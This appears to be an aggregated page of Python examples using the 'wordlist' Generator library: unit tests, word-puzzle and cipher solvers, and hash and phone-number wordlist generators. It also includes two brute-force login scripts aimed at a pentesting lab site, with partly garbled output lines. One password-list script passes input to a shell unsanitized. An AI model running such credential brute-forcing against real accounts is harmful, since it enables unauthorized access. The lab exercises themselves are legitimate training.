Пример #1
0
def test_generate_with_pattern_4():
    print("testing wordlist.Generator(\"ab\").generate_with_pattern(\"a@b\")")
    gen = wordlist.Generator("ab")
    c = gen.generate_with_pattern('a@b')
    assert_equals(next(c), 'aab')
    assert_equals(next(c), 'abb')
    with assert_raises(StopIteration):
        next(c)
Пример #2
0
def hangman():
    english_dict = enchant.Dict('en_GB')
    our_alphabet = re.sub('[anordpwuyigt]', '', alphabet)
    wordgen = wordlist.Generator(our_alphabet)
    possible_words = list()
    for poss in wordgen.generate_with_pattern('@@ig@t'):
        if english_dict.check(poss):
            possible_words.append(poss)
    return possible_words
Пример #3
0
def games_bf(debug=True):
    # We know: B1, D5, H8, F4
    # 8 letter word?
    english_dict = enchant.Dict('en_GB')
    wordgen = wordlist.Generator(alphabet)
    possible_words = list()
    for poss in wordgen.generate_with_pattern('be@fd@@h'):
        if english_dict.check(poss):
            possible_words.append(poss)
    return possible_words
Пример #4
0
def test_generate_2():
    print("testing wordlist.Generator(\"ab\").generate(2, 2)")
    gen = wordlist.Generator("ab")
    c = gen.generate(2, 2)
    assert_equals(next(c), 'aa')
    assert_equals(next(c), 'ab')
    assert_equals(next(c), 'ba')
    assert_equals(next(c), 'bb')
    with assert_raises(StopIteration):
        next(c)
Пример #5
0
def test_generate_3():
    print("testing wordlist.Generator(\"ab\").generate(0, 0)")
    gen = wordlist.Generator("ab")
    with assert_raises(ValueError) as e:
        c = gen.generate(0, 0)
        next(c)
        assert_equals(e.mess, "minlen must be > 0")

    with assert_raises(ValueError):
        c = gen.generate(0, 0)
        next(c)
def word_grabber():
    '''
    Generate words using wordlist
    Shuffle list to get one word
    '''
    word_generator = wordlist.Generator('charset')
    for single_word in word_generator.generate(5, 7):
        WORDS_LIST.append(single_word)

    # Shuffle
    random.shuffle(WORDS_LIST)

    return WORDS_LIST.pop()
Пример #7
0
def cover_decrypt_bf(debug=True):
    # Pattern: PGLSS, PMXPY, PACS, PI, PLAMD
    # Pattern: ABCDD, AEFAG, AHID, AJ, ACHEK
    english_dict = enchant.Dict('en_GB')
    wordgen = wordlist.Generator(alphabet)
    possible_words = list()
    # First word ABCDD:
    for poss_1 in wordgen.generate_with_pattern('@@@@@'):
        # Make sure last two letters the same, and no other letters the same, and it's a word
        if (poss_1[3] == poss_1[4]) and (len(set(poss_1))
                                         == 4) and english_dict.check(poss_1):
            # Next word!
            for poss_2 in wordgen.generate_with_pattern('{}@@{}@'.format(
                    poss_1[0], poss_1[0])):
                if (len(set(poss_1 + poss_2))
                        == 7) and english_dict.check(poss_2):
                    # Next word!
                    for poss_3 in wordgen.generate_with_pattern(
                            '{}@@{}'.format(poss_1[0], poss_1[4])):
                        if (len(set(poss_1 + poss_2 + poss_3))
                                == 9) and english_dict.check(poss_3):
                            # Next word!
                            for poss_4 in wordgen.generate_with_pattern(
                                    '{}@'.format(poss_1[0])):
                                if (len(set(poss_1 + poss_2 + poss_3 + poss_4))
                                        == 10) and english_dict.check(poss_4):
                                    # Next word!
                                    for poss_5 in wordgen.generate_with_pattern(
                                            '{}{}{}{}@'.format(
                                                poss_1[0], poss_1[2],
                                                poss_3[1], poss_2[1])):
                                        if (len(
                                                set(poss_1 + poss_2 + poss_3 +
                                                    poss_4 + poss_5)) == 11
                                            ) and english_dict.check(poss_5):
                                            possible_words.append(
                                                (poss_1, poss_2, poss_3,
                                                 poss_4, poss_5))
                                            if debug:
                                                print 'Found: {}'.format(
                                                    (poss_1, poss_2, poss_3,
                                                     poss_4, poss_5))
    return possible_words
Пример #8
0
import wordlist
import sys
import subprocess
#import os

try:
    b = int(sys.argv[1])
    s = int(sys.argv[2])
    k = sys.argv[3]
    i = sys.argv[4]
    print "[+] OK."
except:
    print "python passgenerator.py <baslanic_karakter> <bitis_karakter> <nelerden_olussun> <file_name>"
    exit()

generator = wordlist.Generator(k)
for word in generator.generate(b, s):
    subprocess.Popen("echo " + word + " >> " + i, shell=True)
print "[+] Done."
Пример #9
0
        if len(sum) > 6:
            sum = sum[len(sum) - 6:]

        sum = int(sum)

        if sum in codelist:
            message.append([word, codelist.index(sum)])
    return message


letterlist = 'abdeghilnostu'
numberlist = [
    188461, 565383, 969149, 88447, 265341, 796023, 388069, 164207, 492621,
    477863, 433589, 300767, 902301
]
generator = wordlist.Generator(letterlist)
wordslist = generator.generate(2, 5)
codelist = [
    696318, 994738, 186634, 937474, 818450, 387210, 184029, 377231, 999091,
    293830, 725605, 893049, 394922
]

textlist = [5]
print('generating list of letters')
for word in wordslist:
    textlist.append(word)

lenlist = int(np.ceil(len(textlist) / 4))

print('dividing list')
textlist1 = textlist[:lenlist]
Пример #10
0
import httplib
import base64
import wordlist
gen = wordlist.Generator('vie')
user = ['admin', 'nick']
flag = 1
for u in user:
    if flag == 0:
        break
    for pw in gen.generate(5, 5):
        conn = httplib.HTTPConnection('pentesteracademylab.appspot.com')
        params = "email=" + u + "%40pentesteracademy.com&password="******"POST", "/lab/webapp/auth/form/1", params, headers)
        response = conn.getresponse()
        if response.status != 401:
            print "Cracked: "
            print "Username: "******" Password: "******"Username: "******" Password: "******" Fail"
Пример #11
0
import httplib
import base64
import wordlist
password = []
for a in ['a', 's', 'd']:
    for b in ['a', 's', 'd']:
        for c in ['a', 's', 'd']:
            for d in ['a', 's', 'd']:
                for e in ['a', 's', 'd']:
                    password.append(a + b + c + d + e)

gen = wordlist.Generator('ads')

user = ['admin', 'nick']
flag = 1
for u in user:
    for x in gen.generate(5, 5):
        conn = httplib.HTTPConnection('pentesteracademylab.appspot.com')
        auth = u + ":" + x

        headers = {
            'Authorization': 'Basic ' + auth.encode('base64', 'strict')[:-1]
        }
        conn.request('POST', '/lab/webapp/basicauth', "", headers)
        response = conn.getresponse()
        if flag == 0:
            break
        if "Unauthorized! Unauthorized! Unauthorized :) :)" in response.read():
            print "user s" + u + " Password: "******" Failed"
            response.status
        else:
Пример #12
0
def test_generate_with_pattern_5():
    print("testing wordlist.Generator(\"ab\").generate_with_pattern(\"\")")
    gen = wordlist.Generator("ab")
    c = gen.generate_with_pattern('')
    with assert_raises(StopIteration):
        next(c)
Пример #13
0
#!/usr/bin/python
import hashlib
import wordlist

length_word = 0
ch_alpha_u = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
ch_alpha_l = 'abcdefghijklmnopqrstuvwxyz'
ch_numbers = '0123456789'
ch_symbol1 = '!@#$%^&*()_+-=,.'
ch_symbol2 = """`~[]\{}|;':"/<>?"""

# hex_dig = raw_input('SHA1: ')				
hex_dig = '####'							
								
generator = wordlist.Generator(ch_alpha_l + ch_alpha_u + ch_numbers + ch_symbol1)
for each in generator.generate(1, 20):	
	if(hex_dig == hashlib.sha1(each).hexdigest()):
		print(each)
		break



Пример #14
0
import wordlist, time
from _thread import start_new_thread as stn


def save(x):
    print("{}.txt".format(str(x)))
    for each in generator.generate(6, 6):
        print(str(x) + each)
        f = open("{}.txt".format(str(x)), "a")
        f.write(str(x) + each + "\n")
        f.close()


a = ['+995']
generator = wordlist.Generator('0123456789')
for each in a:
    stn(save, (each, ))

# / Aldi Talk /base / Callmobile